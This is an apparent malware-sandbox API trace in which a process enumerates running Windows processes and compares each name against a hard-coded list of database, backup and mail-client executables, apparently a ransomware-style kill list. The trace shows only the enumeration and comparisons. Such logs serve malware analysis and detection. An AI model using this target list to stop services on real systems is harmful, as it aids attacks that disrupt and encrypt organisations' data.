	[0060.184] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.184] lstrcmpW (lpString1="System", lpString2="fdlauncher.exe") returned 1
	[0060.184] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.184] lstrcmpW (lpString1="System", lpString2="ocautoupds.exe") returned 1
	[0060.184] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.184] lstrcmpW (lpString1="System", lpString2="firefoxconfig.exe") returned 1
	[0060.184] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.184] lstrcmpW (lpString1="System", lpString2="sqlwriter.exe") returned 1
	[0060.185] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.185] lstrcmpW (lpString1="System", lpString2="sqlagent.exe") returned 1
	[0060.185] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.185] lstrcmpW (lpString1="System", lpString2="mysqld-nt.exe") returned 1
	[0060.185] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.185] lstrcmpW (lpString1="System", lpString2="MsDtsSrvr.exe") returned 1
	[0060.185] lstrlenW (lpString="postgres.exe") returned 12
	[0060.185] lstrcmpW (lpString1="System", lpString2="postgres.exe") returned 1
	[0060.185] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.185] lstrcmpW (lpString1="System", lpString2="sqlservr.exe") returned 1
	[0060.185] lstrlenW (lpString="synctime.exe") returned 12
	[0060.185] lstrcmpW (lpString1="System", lpString2="synctime.exe") returned 1
	[0060.185] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.185] lstrcmpW (lpString1="System", lpString2="sqlserv.exe") returned 1
	[0060.185] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.185] lstrcmpW (lpString1="System", lpString2="Ssms.exe") returned 1
	[0060.185] lstrlenW (lpString="oracle.exe") returned 10
	[0060.185] lstrcmpW (lpString1="System", lpString2="oracle.exe") returned 1
	[0060.185] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.185] lstrcmpW (lpString1="System", lpString2="UniFi.exe") returned -1
	[0060.185] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.185] lstrcmpW (lpString1="System", lpString2="fdhost.exe") returned 1
	[0060.185] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.185] lstrcmpW (lpString1="System", lpString2="mydesctopservice.exe") returned 1
	[0060.185] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.185] lstrcmpW (lpString1="System", lpString2="mysqld-opt.exe") returned 1
	[0060.186] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.186] lstrcmpW (lpString1="System", lpString2="ocomm.exe") returned 1
	[0060.186] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.186] lstrcmpW (lpString1="System", lpString2="tbirdconfig.exe") returned -1
	[0060.186] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.186] lstrcmpW (lpString1="System", lpString2="ntdbsmgr.exe") returned 1
	[0060.186] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.186] lstrcmpW (lpString1="System", lpString2="sqlceip.exe") returned 1
	[0060.186] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.186] lstrcmpW (lpString1="System", lpString2="mysqld.exe") returned 1
	[0060.186] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.186] lstrcmpW (lpString1="System", lpString2="dbsnmp.exe") returned 1
	[0060.186] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.186] lstrcmpW (lpString1="System", lpString2="msmdsrv.exe") returned 1
	[0060.186] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.186] lstrcmpW (lpString1="System", lpString2="sqlbrowser.exe") returned 1
	[0060.186] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.186] lstrcmpW (lpString1="System", lpString2="pg_ctl.exe") returned 1
	[0060.186] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.186] lstrcmpW (lpString1="System", lpString2="msftesql.exe") returned 1
	[0060.186] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.186] lstrcmpW (lpString1="System", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.186] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0060.187] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="ocssd.exe") returned 1
	[0060.187] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="fdlauncher.exe") returned 1
	[0060.187] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="ocautoupds.exe") returned 1
	[0060.187] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="firefoxconfig.exe") returned 1
	[0060.187] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="sqlwriter.exe") returned -1
	[0060.187] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="sqlagent.exe") returned -1
	[0060.187] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.187] lstrcmpW (lpString1="smss.exe", lpString2="mysqld-nt.exe") returned 1
	[0060.187] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="MsDtsSrvr.exe") returned 1
	[0060.188] lstrlenW (lpString="postgres.exe") returned 12
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="postgres.exe") returned 1
	[0060.188] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="sqlservr.exe") returned -1
	[0060.188] lstrlenW (lpString="synctime.exe") returned 12
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="synctime.exe") returned -1
	[0060.188] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="sqlserv.exe") returned -1
	[0060.188] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="Ssms.exe") returned -1
	[0060.188] lstrlenW (lpString="oracle.exe") returned 10
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="oracle.exe") returned 1
	[0060.188] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="UniFi.exe") returned -1
	[0060.188] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.188] lstrcmpW (lpString1="smss.exe", lpString2="fdhost.exe") returned 1
	[0060.188] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="mydesctopservice.exe") returned 1
	[0060.189] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="mysqld-opt.exe") returned 1
	[0060.189] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="ocomm.exe") returned 1
	[0060.189] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="tbirdconfig.exe") returned -1
	[0060.189] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="ntdbsmgr.exe") returned 1
	[0060.189] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="sqlceip.exe") returned -1
	[0060.189] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="mysqld.exe") returned 1
	[0060.189] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="dbsnmp.exe") returned 1
	[0060.189] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="msmdsrv.exe") returned 1
	[0060.189] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.189] lstrcmpW (lpString1="smss.exe", lpString2="sqlbrowser.exe") returned -1
	[0060.189] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.190] lstrcmpW (lpString1="smss.exe", lpString2="pg_ctl.exe") returned 1
	[0060.190] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.190] lstrcmpW (lpString1="smss.exe", lpString2="msftesql.exe") returned 1
	[0060.190] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.190] lstrcmpW (lpString1="smss.exe", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.190] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.191] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="ocssd.exe") returned -1
	[0060.191] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="fdlauncher.exe") returned -1
	[0060.191] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="ocautoupds.exe") returned -1
	[0060.191] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="firefoxconfig.exe") returned -1
	[0060.191] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="sqlwriter.exe") returned -1
	[0060.191] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="sqlagent.exe") returned -1
	[0060.191] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="mysqld-nt.exe") returned -1
	[0060.191] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="MsDtsSrvr.exe") returned -1
	[0060.191] lstrlenW (lpString="postgres.exe") returned 12
	[0060.191] lstrcmpW (lpString1="csrss.exe", lpString2="postgres.exe") returned -1
	[0060.191] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="sqlservr.exe") returned -1
	[0060.192] lstrlenW (lpString="synctime.exe") returned 12
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="synctime.exe") returned -1
	[0060.192] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="sqlserv.exe") returned -1
	[0060.192] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="Ssms.exe") returned -1
	[0060.192] lstrlenW (lpString="oracle.exe") returned 10
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="oracle.exe") returned -1
	[0060.192] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="UniFi.exe") returned -1
	[0060.192] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="fdhost.exe") returned -1
	[0060.192] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="mydesctopservice.exe") returned -1
	[0060.192] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="mysqld-opt.exe") returned -1
	[0060.192] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="ocomm.exe") returned -1
	[0060.192] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="tbirdconfig.exe") returned -1
	[0060.192] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="ntdbsmgr.exe") returned -1
	[0060.192] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.192] lstrcmpW (lpString1="csrss.exe", lpString2="sqlceip.exe") returned -1
	[0060.192] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="mysqld.exe") returned -1
	[0060.193] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="dbsnmp.exe") returned -1
	[0060.193] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="msmdsrv.exe") returned -1
	[0060.193] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="sqlbrowser.exe") returned -1
	[0060.193] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="pg_ctl.exe") returned -1
	[0060.193] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="msftesql.exe") returned -1
	[0060.193] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.193] lstrcmpW (lpString1="csrss.exe", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.193] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0060.194] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.194] lstrcmpW (lpString1="wininit.exe", lpString2="ocssd.exe") returned 1
	[0060.194] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.194] lstrcmpW (lpString1="wininit.exe", lpString2="fdlauncher.exe") returned 1
	[0060.194] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.194] lstrcmpW (lpString1="wininit.exe", lpString2="ocautoupds.exe") returned 1
	[0060.194] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.194] lstrcmpW (lpString1="wininit.exe", lpString2="firefoxconfig.exe") returned 1
	[0060.194] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.194] lstrcmpW (lpString1="wininit.exe", lpString2="sqlwriter.exe") returned 1
	[0060.194] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.194] lstrcmpW (lpString1="wininit.exe", lpString2="sqlagent.exe") returned 1
	[0060.194] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="mysqld-nt.exe") returned 1
	[0060.195] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="MsDtsSrvr.exe") returned 1
	[0060.195] lstrlenW (lpString="postgres.exe") returned 12
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="postgres.exe") returned 1
	[0060.195] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="sqlservr.exe") returned 1
	[0060.195] lstrlenW (lpString="synctime.exe") returned 12
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="synctime.exe") returned 1
	[0060.195] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="sqlserv.exe") returned 1
	[0060.195] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="Ssms.exe") returned 1
	[0060.195] lstrlenW (lpString="oracle.exe") returned 10
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="oracle.exe") returned 1
	[0060.195] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.195] lstrcmpW (lpString1="wininit.exe", lpString2="UniFi.exe") returned 1
	[0060.195] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.196] lstrcmpW (lpString1="wininit.exe", lpString2="fdhost.exe") returned 1
	[0060.196] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.196] lstrcmpW (lpString1="wininit.exe", lpString2="mydesctopservice.exe") returned 1
	[0060.196] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.196] lstrcmpW (lpString1="wininit.exe", lpString2="mysqld-opt.exe") returned 1
	[0060.196] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.196] lstrcmpW (lpString1="wininit.exe", lpString2="ocomm.exe") returned 1
	[0060.196] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.196] lstrcmpW (lpString1="wininit.exe", lpString2="tbirdconfig.exe") returned 1
	[0060.196] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.196] lstrcmpW (lpString1="wininit.exe", lpString2="ntdbsmgr.exe") returned 1
	[0060.197] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="sqlceip.exe") returned 1
	[0060.197] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="mysqld.exe") returned 1
	[0060.197] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="dbsnmp.exe") returned 1
	[0060.197] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="msmdsrv.exe") returned 1
	[0060.197] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="sqlbrowser.exe") returned 1
	[0060.197] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="pg_ctl.exe") returned 1
	[0060.197] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="msftesql.exe") returned 1
	[0060.197] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.197] lstrcmpW (lpString1="wininit.exe", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.197] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.198] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="ocssd.exe") returned -1
	[0060.198] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="fdlauncher.exe") returned -1
	[0060.198] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="ocautoupds.exe") returned -1
	[0060.198] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="firefoxconfig.exe") returned -1
	[0060.198] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="sqlwriter.exe") returned -1
	[0060.198] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="sqlagent.exe") returned -1
	[0060.198] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.198] lstrcmpW (lpString1="csrss.exe", lpString2="mysqld-nt.exe") returned -1
	[0060.199] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="MsDtsSrvr.exe") returned -1
	[0060.199] lstrlenW (lpString="postgres.exe") returned 12
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="postgres.exe") returned -1
	[0060.199] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="sqlservr.exe") returned -1
	[0060.199] lstrlenW (lpString="synctime.exe") returned 12
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="synctime.exe") returned -1
	[0060.199] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="sqlserv.exe") returned -1
	[0060.199] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="Ssms.exe") returned -1
	[0060.199] lstrlenW (lpString="oracle.exe") returned 10
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="oracle.exe") returned -1
	[0060.199] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="UniFi.exe") returned -1
	[0060.199] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="fdhost.exe") returned -1
	[0060.199] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="mydesctopservice.exe") returned -1
	[0060.199] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="mysqld-opt.exe") returned -1
	[0060.199] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="ocomm.exe") returned -1
	[0060.199] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.199] lstrcmpW (lpString1="csrss.exe", lpString2="tbirdconfig.exe") returned -1
	[0060.200] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="ntdbsmgr.exe") returned -1
	[0060.200] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="sqlceip.exe") returned -1
	[0060.200] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="mysqld.exe") returned -1
	[0060.200] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="dbsnmp.exe") returned -1
	[0060.200] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="msmdsrv.exe") returned -1
	[0060.200] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="sqlbrowser.exe") returned -1
	[0060.200] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="pg_ctl.exe") returned -1
	[0060.200] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="msftesql.exe") returned -1
	[0060.200] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.200] lstrcmpW (lpString1="csrss.exe", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.200] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0060.201] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="ocssd.exe") returned 1
	[0060.201] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="fdlauncher.exe") returned 1
	[0060.201] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="ocautoupds.exe") returned 1
	[0060.201] lstrlenW (lpString="firefoxconfig.exe") returned 17
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="firefoxconfig.exe") returned 1
	[0060.201] lstrlenW (lpString="sqlwriter.exe") returned 13
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="sqlwriter.exe") returned 1
	[0060.201] lstrlenW (lpString="sqlagent.exe") returned 12
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="sqlagent.exe") returned 1
	[0060.201] lstrlenW (lpString="mysqld-nt.exe") returned 13
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="mysqld-nt.exe") returned 1
	[0060.201] lstrlenW (lpString="MsDtsSrvr.exe") returned 13
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="MsDtsSrvr.exe") returned 1
	[0060.201] lstrlenW (lpString="postgres.exe") returned 12
	[0060.201] lstrcmpW (lpString1="winlogon.exe", lpString2="postgres.exe") returned 1
	[0060.202] lstrlenW (lpString="sqlservr.exe") returned 12
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="sqlservr.exe") returned 1
	[0060.202] lstrlenW (lpString="synctime.exe") returned 12
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="synctime.exe") returned 1
	[0060.202] lstrlenW (lpString="sqlserv.exe") returned 11
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="sqlserv.exe") returned 1
	[0060.202] lstrlenW (lpString="Ssms.exe") returned 8
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="Ssms.exe") returned 1
	[0060.202] lstrlenW (lpString="oracle.exe") returned 10
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="oracle.exe") returned 1
	[0060.202] lstrlenW (lpString="UniFi.exe") returned 9
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="UniFi.exe") returned 1
	[0060.202] lstrlenW (lpString="fdhost.exe") returned 10
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="fdhost.exe") returned 1
	[0060.202] lstrlenW (lpString="mydesctopservice.exe") returned 20
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="mydesctopservice.exe") returned 1
	[0060.202] lstrlenW (lpString="mysqld-opt.exe") returned 14
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="mysqld-opt.exe") returned 1
	[0060.202] lstrlenW (lpString="ocomm.exe") returned 9
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="ocomm.exe") returned 1
	[0060.202] lstrlenW (lpString="tbirdconfig.exe") returned 15
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="tbirdconfig.exe") returned 1
	[0060.202] lstrlenW (lpString="ntdbsmgr.exe") returned 12
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="ntdbsmgr.exe") returned 1
	[0060.202] lstrlenW (lpString="sqlceip.exe") returned 11
	[0060.202] lstrcmpW (lpString1="winlogon.exe", lpString2="sqlceip.exe") returned 1
	[0060.203] lstrlenW (lpString="mysqld.exe") returned 10
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="mysqld.exe") returned 1
	[0060.203] lstrlenW (lpString="dbsnmp.exe") returned 10
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="dbsnmp.exe") returned 1
	[0060.203] lstrlenW (lpString="msmdsrv.exe") returned 11
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="msmdsrv.exe") returned 1
	[0060.203] lstrlenW (lpString="sqlbrowser.exe") returned 14
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="sqlbrowser.exe") returned 1
	[0060.203] lstrlenW (lpString="pg_ctl.exe") returned 10
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="pg_ctl.exe") returned 1
	[0060.203] lstrlenW (lpString="msftesql.exe") returned 12
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="msftesql.exe") returned 1
	[0060.203] lstrlenW (lpString="\r\npg_ctl.exe\r\nmsftesql.exe") returned 26
	[0060.203] lstrcmpW (lpString1="winlogon.exe", lpString2="\r\npg_ctl.exe\r\nmsftesql.exe") returned 1
	[0060.203] Process32NextW (in: hSnapshot=0xe8, lppe=0x18dcb8 | out: lppe=0x18dcb8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0060.204] lstrlenW (lpString="ocssd.exe") returned 9
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="ocssd.exe") returned 1
	[0060.204] lstrlenW (lpString="fdlauncher.exe") returned 14
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="fdlauncher.exe") returned 1
	[0060.204] lstrlenW (lpString="ocautoupds.exe") returned 14
	[0060.204] lstrcmpW (lpString1="services.exe", lpString2="ocautoupds.exe") returned 1
